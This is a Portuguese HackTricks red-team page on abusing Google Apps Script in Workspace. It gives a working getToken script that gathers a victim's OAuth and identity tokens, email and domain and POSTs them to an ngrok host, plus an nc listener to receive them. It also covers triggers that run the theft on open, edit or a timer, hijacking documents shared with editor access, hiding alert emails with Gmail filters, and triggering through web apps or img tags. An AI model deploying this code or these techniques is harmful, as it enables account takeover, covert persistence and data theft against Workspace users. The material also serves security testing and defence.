GWS - App Scripts

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Scripts de Aplicativos

Scripts de Aplicativos são códigos que serão acionados quando um usuário com permissão de editor acessar o documento ao qual o Script de Aplicativo está vinculado e após aceitar o prompt de OAuth. Eles também podem ser configurados para serem executados em intervalos regulares pelo proprietário do Script de Aplicativo (Persistência).

Criar Script de Aplicativo

Existem várias maneiras de criar um Script de Aplicativo, embora as mais comuns sejam a partir de um Documento Google (de qualquer tipo) e como um projeto independente:

Criar um projeto vinculado a um contêiner a partir de Documentos Google, Planilhas ou Apresentações
  1. Abra um documento do Docs, uma planilha do Sheets ou uma apresentação do Slides.

  2. Clique em Extensões > Google Apps Script.

  3. No editor de script, clique em Projeto sem título.

  4. Dê um nome ao seu projeto e clique em Renomear.

Criar um projeto independente

Para criar um projeto independente a partir do Apps Script:

  1. Clique em Novo Projeto.

  2. No editor de script, clique em Projeto sem título.

  3. Dê um nome ao seu projeto e clique em Renomear.

Criar um projeto independente a partir do Google Drive
  1. Abra o Google Drive.

  2. Clique em Novo > Mais > Google Apps Script.

Criar um projeto vinculado a um contêiner a partir do Google Forms
  1. Abra um formulário no Google Forms.

  2. Clique em Mais more_vert > Editor de script.

  3. No editor de script, clique em Projeto sem título.

  4. Dê um nome ao seu projeto e clique em Renomear.

Criar um projeto independente usando a ferramenta de linha de comando clasp

clasp é uma ferramenta de linha de comando que permite criar, puxar/push e implantar projetos de Scripts de Aplicativos a partir de um terminal.

Consulte o Guia da Interface de Linha de Comando usando clasp para mais detalhes.

Cenário de Script de Aplicativo

Criar Planilha Google com Script de Aplicativo

Comece criando um Script de Aplicativo, minha recomendação para este cenário é criar uma Planilha Google e ir para Extensões > Scripts de Aplicativos, isso abrirá um novo Script de Aplicativo vinculado à planilha.

Vazar token

Para conceder acesso ao token OAuth, você precisa clicar em Serviços + e adicionar escopos como:

  • AdminDirectory: Acessar usuários e grupos do diretório (se o usuário tiver permissões suficientes)

  • Gmail: Para acessar dados do gmail

  • Drive: Para acessar dados do drive

  • Google Sheets API: Para funcionar com o gatilho

Para alterar os escopos necessários você pode ir para as configurações do projeto e habilitar: Mostrar arquivo de manifesto "appsscript.json" no editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Para capturar a solicitação, você pode simplesmente executar:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissões solicitadas para executar o App Script:

Ao fazer uma solicitação externa, o prompt do OAuth também pedirá permissão para acessar endpoints externos.

Criar Desencadeador

Depois de ler o App, clique em ⏰ Desencadeadores para criar um desencadeador. Como função para executar, escolha getToken, execute no Cabeçalho do deployment, na fonte do evento selecione Do planilha e selecione o tipo de evento Ao abrir ou Ao editar (conforme necessário) e salve.

Observe que você pode verificar as execuções dos App Scripts na guia Execuções se precisar depurar algo.

Compartilhamento

Para acionar o App Script, a vítima precisa se conectar com Acesso de Editor.

O token usado para executar o App Script será o do criador do desencadeador, mesmo que o arquivo seja aberto como Editor por outros usuários.

Abusando de documentos Compartilhados Comigo

Se alguém compartilhou com você um documento com App Scripts e um desencadeador usando o Cabeçalho do App Script (não um deployment fixo), você pode modificar o código do App Script (adicionando, por exemplo, funções de roubo de token), acessá-lo e o App Script será executado com as permissões do usuário que compartilhou o documento com você! (observe que o token OAuth do proprietário terá como escopos de acesso aqueles concedidos quando o desencadeador foi criado).

Uma notificação será enviada ao criador do script indicando que alguém modificou o script (Que tal usar permissões do gmail para gerar um filtro e evitar o alerta?)

Se um atacante modificar os escopos do App Script, as atualizações não serão aplicadas ao documento até que um novo desencadeador com as alterações seja criado. Portanto, um atacante não poderá roubar o token do criador com mais escopos do que aqueles definidos no desencadeador que ele criou.

Copiando em vez de compartilhar

Ao criar um link para compartilhar um documento, um link semelhante a este é criado: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Se você alterar o final "/edit" para "/copy", em vez de acessá-lo, o Google perguntará se você deseja gerar uma cópia do documento:

Se o usuário copiá-lo e acessá-lo, tanto o conteúdo do documento quanto os App Scripts serão copiados, no entanto, os desencadeadores não serão, portanto nada será executado.

Compartilhando como Aplicativo Web

Observe que também é possível compartilhar um App Script como um aplicativo Web (no Editor do App Script, implemente como um aplicativo Web), mas um alerta como este aparecerá:

Seguido pelo prompt típico do OAuth pedindo as permissões necessárias.

Testando

Você pode testar um token obtido para listar e-mails com:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Listar calendário do usuário:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script como Persistência

Uma opção para persistência seria criar um documento e adicionar um gatilho para a função getToken e compartilhar o documento com o atacante para que toda vez que o atacante abrir o arquivo ele exfiltre o token da vítima.

Também é possível criar um App Script e configurá-lo para acionar a cada X tempo (como a cada minuto, hora, dia...). Um atacante que tenha comprometido credenciais ou uma sessão de uma vítima poderia configurar um gatilho de tempo no App Script e vazar um token OAuth muito privilegiado todos os dias:

Basta criar um App Script, ir para Triggers, clicar em Add Trigger e selecionar como fonte de evento Time-driven e escolher as opções que melhor se adequam a você:

Isso criará um e-mail de alerta de segurança e uma mensagem push para o seu celular alertando sobre isso.

Desvio de Prompt Não Verificado em Documento Compartilhado

Além disso, se alguém compartilhou com você um documento com acesso de editor, você pode gerar App Scripts dentro do documento e o PROPRIETÁRIO (criador) do documento será o proprietário do App Script.

Isso significa que o criador do documento aparecerá como criador de qualquer App Script que qualquer pessoa com acesso de editor criar dentro dele.

Isso também significa que o App Script será confiável pelo ambiente do Workspace do criador do documento.

Isso também significa que se um App Script já existir e as pessoas tiverem concedido acesso, qualquer pessoa com permissão de Editor no documento pode modificá-lo e abusar desse acesso. Para abusar disso, você também precisa que as pessoas acionem o App Script. E um truque legal é publicar o script como um aplicativo da web. Quando as pessoas que já concederam acesso ao App Script acessarem a página da web, elas irão acionar o App Script (isso também funciona usando tags <img>).

Última actualización